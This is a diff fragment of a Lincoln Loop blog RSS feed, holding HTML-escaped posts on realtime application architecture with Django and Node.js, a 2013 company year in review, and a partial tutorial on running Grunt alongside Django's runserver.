+&lt;p&gt;This setup is beautiful because it makes development simple. Only one process to start-up and only one code-base to maintain. You start running into problems, however, when you try to take this app from toy code on your laptop to production-ready. If you&amp;#39;re thinking about taking this approach, here&amp;#39;s a few issues you&amp;#39;ll encounter.&lt;/p&gt;
+
+&lt;h3&gt;You&amp;#39;re Going to Run out of Workers&lt;/h3&gt;
+
+&lt;p&gt;A common way to serve dynamic applications is with Nginx proxying to a few workers (WSGI, Rack, etc) serving your application. Common practice is to only run 4-8 workers behind the proxy. Those workers are often capable of serving a surprising number of requests because they are constantly being freed up and re-used. That all changes when you introduce long-running connections. Now you can handle 4-8 clients using your app at any given time. Not exactly a high-traffic setup.&lt;/p&gt;
+
+&lt;p&gt;&amp;quot;No problem&amp;quot; you might say, &amp;quot;I&amp;#39;ll use &amp;lt;insert async framework here&amp;gt;!&amp;quot;. Something like Gevent or EventMachine will let you serve more requests with that handful of workers, but introduces new problems.&lt;/p&gt;
+
+&lt;h3&gt;You&amp;#39;re Going to Run out of Database Connections&lt;/h3&gt;
+
+&lt;p&gt;You&amp;#39;ve now blown past 4-8 clients and, because most of these connections just sit idle, you can now handle more than 100 at any given time. Is your app ready for that though? Can your database handle 100 simultaneous connections? Probably not. Now you need to setup a database connection pool. Hopefully you&amp;#39;ve done that before. If not maybe you can pull one off of PyPI that works (we&amp;#39;ve had good luck with &lt;a href="https://pypi.python.org/pypi/django-db-geventpool"&gt;django-db-geventpool&lt;/a&gt;).&lt;/p&gt;
+
+&lt;h3&gt;Going Async isn&amp;#39;t Free&lt;/h3&gt;
+
+&lt;p&gt;In Python, switching to gevent is a pip install and gunicorn flag away. It seems so simple on the surface. But wait, our database driver, &lt;a href="http://initd.org/psycopg/docs/advanced.html#support-for-coroutine-libraries"&gt;psycopg2, isn&amp;#39;t green thread-safe&lt;/a&gt;. If you want to reuse connections, now you need to add &lt;a href="https://pypi.python.org/pypi/psycogreen/1.0"&gt;psycogreen&lt;/a&gt; into your stack and make sure it does its monkey-patching early on. Are you sure the rest of your stack works seamlessly with gevent? By going async, you&amp;#39;ve also made debugging considerably more difficult. I think everybody I&amp;#39;ve met with real world gevent experience has a war story about trying to solve some strange deadlock or traceback being swallowed somewhere in the stack.&lt;/p&gt;
+
+&lt;h3&gt;Your Processes Need to Know the Difference&lt;/h3&gt;
+
+&lt;p&gt;On a traditional web server, you want to kill connections that don&amp;#39;t finish within a certain amount of time. This keeps your worker pool available to respond to other requests and protects you from &lt;a href="http://en.wikipedia.org/wiki/Slowloris"&gt;Slowloris&lt;/a&gt; attacks. Your realtime connections are exactly the opposite. They need to be held open indefinitely. If they drop, they should be re-opened immediately. This means, even though your code is all in the same package, you need to manage different configurations in Nginx and possibly in your application server as well to make sure they are served to clients correctly.&lt;/p&gt;
+
+&lt;h3&gt;You&amp;#39;re Putting a Square Peg in a Round Hole&lt;/h3&gt;
+
+&lt;p&gt;There are lots of great ways to handle many concurrent long-running connections. Node.js and Go were built from the ground-up with this scenario in mind. In the Python world, we have Tornado, Twisted, and others that are much better suited for this role. Django, Rails, and other traditional web frameworks weren&amp;#39;t built for this type of workload. While it may seem like the easy route at first, it tends to make your life harder later.&lt;/p&gt;
+
+&lt;p&gt;How about the alternative?&lt;/p&gt;
+
+&lt;h2&gt;A Separate Realtime Process&lt;/h2&gt;
+
+&lt;p&gt;The approach we took with Ginger separates concerns. Traditional web requests are routed to our Django server while long-running realtime connections are routed to a small Node.js script which holds those connections open. They communicate over a Redis pub/sub channel. This approach is great because it solves most of the issues presented in the single-process approach. Our realtime endpoint is optimized to handle lots of long connections, it doesn&amp;#39;t need to talk to the main database, and it uses software designed to make this sort of stuff easy. Unfortunately, it too has a few issues.&lt;/p&gt;
+
+&lt;h3&gt;You Need to Do More Work Upfront&lt;/h3&gt;
+
+&lt;p&gt;If you&amp;#39;re just building a toy app for yourself, this is going to be overkill. Splitting the components up requires a little more thought and planning upfront. It also means getting your development environment up-and-running is more of a hassle. Tools like &lt;a href="http://ddollar.github.io/foreman/"&gt;foreman&lt;/a&gt; or its Python counterpart &lt;a href="https://github.com/nickstenning/honcho"&gt;honcho&lt;/a&gt; make this easier, but, again it&amp;#39;s one more thing to manage.&lt;/p&gt;
+
+&lt;h3&gt;You (Might) Need to Learn Something New&lt;/h3&gt;
+
+&lt;p&gt;If you&amp;#39;ve been building traditional websites, chances are you&amp;#39;ll be picking up a new framework, or even a new language to build your realtime endpoint. It will require a basic understanding of programming in an asynchronous manner (callbacks, co-routines, etc). Choosing the right toolkit can make this an easy transition, but it will still be more than the &amp;quot;just throw gevent at it&amp;quot; solution. For inspiration, read how &lt;a href="http://blog.disqus.com/post/51155103801/trying-out-this-go-thing"&gt;Disqus replaced 4 maxed out Python/gevent servers with one mostly idle Go server in one week&lt;/a&gt;.&lt;/p&gt;
+
+&lt;h3&gt;Your Auth Story Just Got More Complicated&lt;/h3&gt;
+
+&lt;p&gt;With one process all your sessions are in the same place. Knowing which requests are coming from authenticated clients and what resources those clients have access to is all baked in. When you add a different process to the mix, it may not have access to your session storage or even talk directly to the primary database to check permissions. You either need to do the work to make those happen or come up with an alternate authentication scheme. For Ginger, we generate short-lived tokens in Redis and pass them securely from the server to the client. The client passes the token back to the realtime endpoint for authentication. See &lt;a href="http://pusher.com/docs/authenticating_users"&gt;Pusher&amp;#39;s docs&lt;/a&gt; for another example of how to handle this.&lt;/p&gt;
+
+&lt;h2&gt;What About Single Process, Realtime First?&lt;/h2&gt;
+
+&lt;p&gt;There&amp;#39;s another option here which basically flips the option we used for BotBot.me on its head. Instead of trying to cram asynchronous bits (the realtime stuff) into your synchronous framework, you could put your synchronous bits in your asynchronous framework. Options here include Node.js (frameworks: Express, Meteor, Hapi) or Go (frameworks: Revel, Gorilla).&lt;/p&gt;
+
+&lt;p&gt;I&amp;#39;m excited about the possibilities here, but the maturity and usability of these libraries isn&amp;#39;t anywhere near what you get with a framework like Django or Rails. In addition, their ecosystem is years behind more mature languages. You&amp;#39;ll be writing more code from scratch and not get the benefit of the massive open source ecosystem built around Python, Ruby, etc. I don&amp;#39;t doubt they&amp;#39;ll get to that place eventually, but for now, I think the trade-off is too great.&lt;/p&gt;
+
+&lt;h2&gt;Conclusion&lt;/h2&gt;
+
+&lt;p&gt;If you made it this far, it&amp;#39;s probably clear which option I prefer. If I had to do it again, I would take the approach we used on Ginger. Separate processes optimized for separate concerns. It may be more work upfront, but it makes everything easier down the road. Especially when you need to grow from one server (in the physical or VPS sense) to multiple servers.&lt;/p&gt;
+
+&lt;p&gt;How about you? If you&amp;#39;re running sites with realtime components in production, I&amp;#39;d love to hear your thoughts and how you manage the processes.&lt;/p&gt;
+
+&lt;p&gt;&lt;em&gt;Thanks to &lt;a href="http://lucumr.pocoo.org/about/"&gt;Armin Ronacher&lt;/a&gt; for reviewing this post for me.&lt;/em&gt;&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Recommending Reading&lt;/strong&gt;&lt;/p&gt;
+
+&lt;ul&gt;
+&lt;li&gt;Arnout Kazemier&amp;#39;s talk, &lt;a href="http://lanyrd.com/2013/realtime-conf-europe/sccpxf/"&gt;Websuckets&lt;/a&gt; for some reasons you should not rely solely on websockets.&lt;/li&gt;
+&lt;li&gt;Armin Ronacher&amp;#39;s post, &lt;a href="http://lucumr.pocoo.org/2012/8/5/stateless-and-proud/"&gt;Stateless and Proud in the Realtime World&lt;/a&gt; which recommends a similar approach.&lt;/li&gt;
+&lt;li&gt;Aymeric Augstin&amp;#39;s talk, &lt;a href="http://lanyrd.com/2013/djangocon/scmqyy/"&gt;State of Realtime with Django&lt;/a&gt;. TL;DW: The tools are there, but the Python ecosystem isn&amp;#39;t built for an async world (yet).&lt;/li&gt;
+&lt;/ul&gt;
+</description><pubDate>Tue, 18 Feb 2014 10:55:46 -0600</pubDate><guid>http://lincolnloop.com/blog/architecting-realtime-applications/</guid></item><item><title>2013 Year in Review</title><link>http://lincolnloop.com/blog/2013-year-review/</link><description>
+&lt;p&gt;&lt;strong&gt;Please update to our new feed url: &lt;a href="http://lincolnloop.com/blog/feed/"&gt;lincolnloop.com/blog/feed/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
+&lt;hr/&gt;
+&lt;p&gt;&lt;img src="http://lincolnloop.com/uploads/uploads/greece.jpg" alt="Grecian Retreat"&gt;&lt;/p&gt;
+
+&lt;p&gt;2013 was an amazing roller coaster year at Lincoln Loop. This is a long post, so I&amp;#39;ll skip the intro and dive right in.&lt;/p&gt;
+
+&lt;h2&gt;Company Accomplishments&lt;/h2&gt;
+
+&lt;p&gt;Of all the things we did and built, I&amp;#39;m most proud of what we accomplished with our charitable giving program. &lt;a href="http://lincolnloop.com/about/giving/"&gt;We donated $12,000 dollars&lt;/a&gt; to charities we feel strongly about including Doctors without Borders, charity: water, Wikipedia, and the Ada Initiative. Each month, a different Looper chooses a charity that is near and dear to them. Although many of the donations were to global charity, our program lets us give back to the communities where our team lives.&lt;/p&gt;
+
+&lt;p&gt;We also became &lt;a href="https://www.gittip.com/Lincoln%20Loop/"&gt;Gittip patrons&lt;/a&gt;, donating another $200-300 per month to open source developers who make the tools we rely on everyday.&lt;/p&gt;
+
+&lt;p&gt;In May, we closed up shop and packed our bags for a week-long &lt;a href="http://lincolnloop.com/blog/lincoln-loop-retreat-2013/"&gt;company retreat in Greece&lt;/a&gt;. Working remotely, most of our interactions take place via a computer, so having a week together to relax, hang-out, hack, and discuss the future of Lincoln Loop was incredible. On top of that the location was almost perfect. After a quick stop-over in Athens, we convened at a secluded house on a Grecian Island with breathtaking ocean views. It&amp;#39;s going to be tough to top it this year, but that won&amp;#39;t stop us from trying.&lt;/p&gt;
+
+&lt;p&gt;&lt;a href="http://37signals.com/svn/posts/3652-remote-works-lincoln-loop"&gt;We were featured on 37signals&amp;#39; blog, Signal vs. Noise&lt;/a&gt; in October as part of the promotion of their latest book, &lt;a href="http://37signals.com/remote/"&gt;Remote&lt;/a&gt;. We received a mention in the book as well! We&amp;#39;ve always looked up to 37signals (now renamed Basecamp) as a company. They are bootstrapped, successful and strive to create a sustainable workplace for their team. Having them take notice of what we&amp;#39;re doing was an almost surreal event.&lt;/p&gt;
+
+&lt;h2&gt;Consulting and Development&lt;/h2&gt;
+
+&lt;p&gt;Our highest-profile project of the year and one I&amp;#39;m immensely honored to be a part of was the relaunch of &lt;a href="http://www.smithsonian.com"&gt;Smithsonian.com&lt;/a&gt;. We worked with them to migrate from multiple different platforms and some proprietary vendor locked-in software to a solution built entirely on Django and open source software. The project was a huge undertaking, including architecture, legacy content migration, responsive design, accessibility, performance tuning, deployment, and more. We&amp;#39;ll be pushing more sites to their new platform and look forward to continuing our work with the great team at Smithsonian in 2014.&lt;/p&gt;
+
+&lt;p&gt;In addition to Smithsonian, our team had the opportunity to work with some great people on the following sites and services:&lt;/p&gt;
+
+&lt;ul&gt;
+&lt;li&gt;&lt;a href="http://www.awarnys.com/"&gt;Awarnys&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://www.postmark.com/"&gt;Evite Postmark&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://www.gamesradar.com"&gt;GamesRadar&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://www.hukkster.com/"&gt;Hukkster&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://www.redbeacon.com/"&gt;Redbeacon&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://www.smithsonian.com"&gt;Smithsonian&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="https://www.voteguide.com"&gt;VoteGuide&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;h2&gt;Products&lt;/h2&gt;
+
+&lt;p&gt;Our client work is usually focused on design, development, and deployment. We work closely with technical and business teams, but often don&amp;#39;t get full insight into the level of effort it takes to make a product profitable. Our products have been a huge step forward for us in that regard and have given us a crash course in sales, marketing, and what it takes to support a project long-term. We didn&amp;#39;t get to invest as much time as we&amp;#39;d like in our products, but hit some big milestones nonetheless. Our recently &lt;a href="https://github.com/BotBotMe"&gt;open sourced&lt;/a&gt; IRC logger, &lt;a href="https://botbot.me"&gt;BotBot.me&lt;/a&gt;, saw steady growth and logged just under 8 million lines in 2013.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src="http://lincolnloop.com/uploads/uploads/Riv3EAbv1z.jpg" alt="BotBot.me Stats"&gt;&lt;/p&gt;
+
+&lt;p&gt;&lt;a href="https://gingerhq.com"&gt;Ginger&lt;/a&gt; is not just a product of ours, but the glue that holds our distributed team together. Quite frankly, sales were abysmal for much of the year. We decided to make a drastic move and change our pricing model from &amp;quot;freemium&amp;quot; to all paid plans with a free trial. Sales in the last 2.5 months of 2013 were almost &lt;em&gt;double&lt;/em&gt; what we had done over the previous 1.5 years. It has been an incredible breath of fresh air and has us eager to continue to improve the platform and our sales effort.&lt;/p&gt;
+
+&lt;h2&gt;Moving On&lt;/h2&gt;
+
+&lt;p&gt;No doubt, 2013 was an incredible year for us. I&amp;#39;d love to say it was all as amazing as portrayed here, but this is only our highlight reel. Like any good team, we had our fair share of disagreements, failures, and disappointments as well. Perhaps I&amp;#39;ll share our lessons learned and lumps taken in another post, but for now, our sights are focused forward. We&amp;#39;ve got some exciting new stuff planned for 2014... stay tuned.&lt;/p&gt;
+</description><pubDate>Mon, 10 Feb 2014 13:34:32 -0600</pubDate><guid>http://lincolnloop.com/blog/2013-year-review/</guid></item><item><title>Simplifying your Django Frontend Tasks with Grunt</title><link>http://lincolnloop.com/blog/simplifying-your-django-frontend-tasks-grunt/</link><description>
+&lt;p&gt;&lt;strong&gt;Please update to our new feed url: &lt;a href="http://lincolnloop.com/blog/feed/"&gt;lincolnloop.com/blog/feed/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
+&lt;hr/&gt;
+&lt;p&gt;&lt;a href="http://gruntjs.com/"&gt;Grunt&lt;/a&gt; is a powerful task runner with an amazing assortment of plugins. It&amp;#39;s not limited to the frontend, but there are many frontend-oriented plugins that you can take advantage of to combine and minify your static media, compile sass and less files, watch for changes during development and reload your browser automatically, and much more.&lt;/p&gt;
+
+&lt;p&gt;In the last several years, the amount of tooling around frontend development has expanded dramatically. Frameworks, libraries, preprocessors and postprocessors, transpilers, template languages, module systems, and more! Wiring everything together has become a significant challenge, and a variety of build tools have emerged to help ease this burden. Grunt is the current leader because of its fantastic plugin community, and it contains a wide array of plugins that can be very valuable to a Django developer. Today I&amp;#39;m going to talk about an easy way to integrate Grunt with Django&amp;#39;s runserver, and highlight a few plugins to handle common frontend tasks that Django developers often deal with.&lt;/p&gt;
+
+&lt;h3&gt;Installing Grunt&lt;/h3&gt;
+
+&lt;p&gt;Grunt uses Node.js, so you&amp;#39;ll need to have that installed and configured on your system. This process will vary depending on your platform, but once it&amp;#39;s done you&amp;#39;ll need to install Grunt. From &lt;a href="http://gruntjs.com/getting-started"&gt;the documentation&lt;/a&gt;:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="c"&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="n"&gt;npm&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="n"&gt;grunt&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;cli&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;blockquote&gt;
+&lt;p&gt;This will put the grunt command in your system path, allowing it to be run from any directory.&lt;/p&gt;
+
+&lt;p&gt;Note that installing grunt-cli does not install the Grunt task runner! The job of the Grunt CLI is simple: run the version of Grunt which has been installed next to a Gruntfile. This allows multiple versions of Grunt to be installed on the same machine simultaneously.&lt;/p&gt;
+&lt;/blockquote&gt;
+
+&lt;p&gt;Next, you&amp;#39;ll want to install the Grunt task runner locally, along with a few plugins that I&amp;#39;ll demonstrate:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="c"&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="n"&gt;npm&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt; &lt;span class="n"&gt;grunt&lt;/span&gt; &lt;span class="n"&gt;grunt&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;contrib&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;concat&lt;/span&gt; &lt;span class="n"&gt;grunt&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;contrib&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;uglify&lt;/span&gt; &lt;span class="n"&gt;grunt&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;sass&lt;/span&gt; &lt;span class="n"&gt;grunt&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;contrib&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;less&lt;/span&gt; &lt;span class="n"&gt;grunt&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;contrib&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;watch&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;h3&gt;Managing Grunt with runserver&lt;/h3&gt;
+
+&lt;p&gt;There are a few different ways to get Grunt running alongside Django on your local development environment. The method I&amp;#39;ll focus on here is by extending the &lt;em&gt;runserver&lt;/em&gt; command. To do this, create a &lt;em&gt;gruntserver&lt;/em&gt; command inside one of your project&amp;#39;s apps. I commonly have a &amp;quot;core&amp;quot; app that I use for things like this. Create the &amp;quot;management/command&amp;quot; folders in your &amp;quot;myproject/apps/core/&amp;quot; directory (adjusting that path to your own preferred structure), and make sure to drop an &lt;code data-syntax="text-only"&gt;__init__.py&lt;/code&gt; in both of them. Then create a &amp;quot;gruntserver.py&amp;quot; inside &amp;quot;command&amp;quot; to extend the built-in.&lt;/p&gt;
+
+&lt;p&gt;In your new &amp;quot;gruntserver.py&amp;quot; extend the built-in and override a few methods so that you can automatically manage the Grunt process:&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="python"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;os&lt;/span&gt;
+&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;subprocess&lt;/span&gt;
+&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;atexit&lt;/span&gt;
+&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;signal&lt;/span&gt;
+
+&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;django.conf&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;
+&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;django.contrib.staticfiles.management.commands.runserver&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt;\
+ &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;StaticfilesRunserverCommand&lt;/span&gt;
+
+
+&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;StaticfilesRunserverCommand&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
+
+ &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;inner_run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
+ &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start_grunt&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
+ &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inner_run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
+
+ &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;start_grunt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
+ &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;gt;&amp;gt;&amp;gt; Starting grunt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
+ &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;grunt_process&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Popen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
+ &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;grunt --gruntfile={0}/Gruntfile.js --base=.&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PROJECT_PATH&lt;/span&gt;&lt;span class="p"&gt;)],&lt;/span&gt;
+ &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
+ &lt;span class="n"&gt;stdin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PIPE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
+ &lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
+ &lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
+ &lt;span class="p"&gt;)&lt;/span&gt;
+
+ &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;gt;&amp;gt;&amp;gt; Grunt process on pid {0}&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;grunt_process&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
+
+ &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;kill_grunt_process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
+ &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;&amp;gt;&amp;gt;&amp;gt; Closing grunt process&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
+ &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kill&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SIGTERM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
+
+ &lt;span class="n"&gt;atexit&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;register&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kill_grunt_process&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;grunt_process&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
+
+&lt;h3&gt;A barebones grunt config&lt;/h3&gt;
+
+&lt;p&gt;To get started with Grunt, you&amp;#39;ll need a barebones &amp;quot;Gruntfile.js&amp;quot; at the root of your project to serve as your config.&lt;/p&gt;
+
+&lt;pre class="highlight"&gt;&lt;code data-syntax="javascript"&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;grunt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
+
+ &lt;span class="c1"&gt;// Project configuration.&lt;/span&gt;
+ &lt;span class="nx"&gt;grunt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;initConfig&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
+ &lt;span class="nx"&gt;pkg&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;grunt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;readJSON&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;package.json&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
+
+ &lt;span class="c1"&gt;// Task configuration goes here.&lt;/span&gt;
+
+ &lt;span class="p"&gt;});&lt;/span&gt;
+
+ &lt;span class="c1"&gt;// Load plugins here.&lt;/span&gt;
+ &lt;span class="nx"&gt;grunt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;loadNpmTasks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;grunt-contrib-concat&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
+ &lt;span class="nx"&gt;grunt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;loadNpmTasks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;grunt-contrib-uglify&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
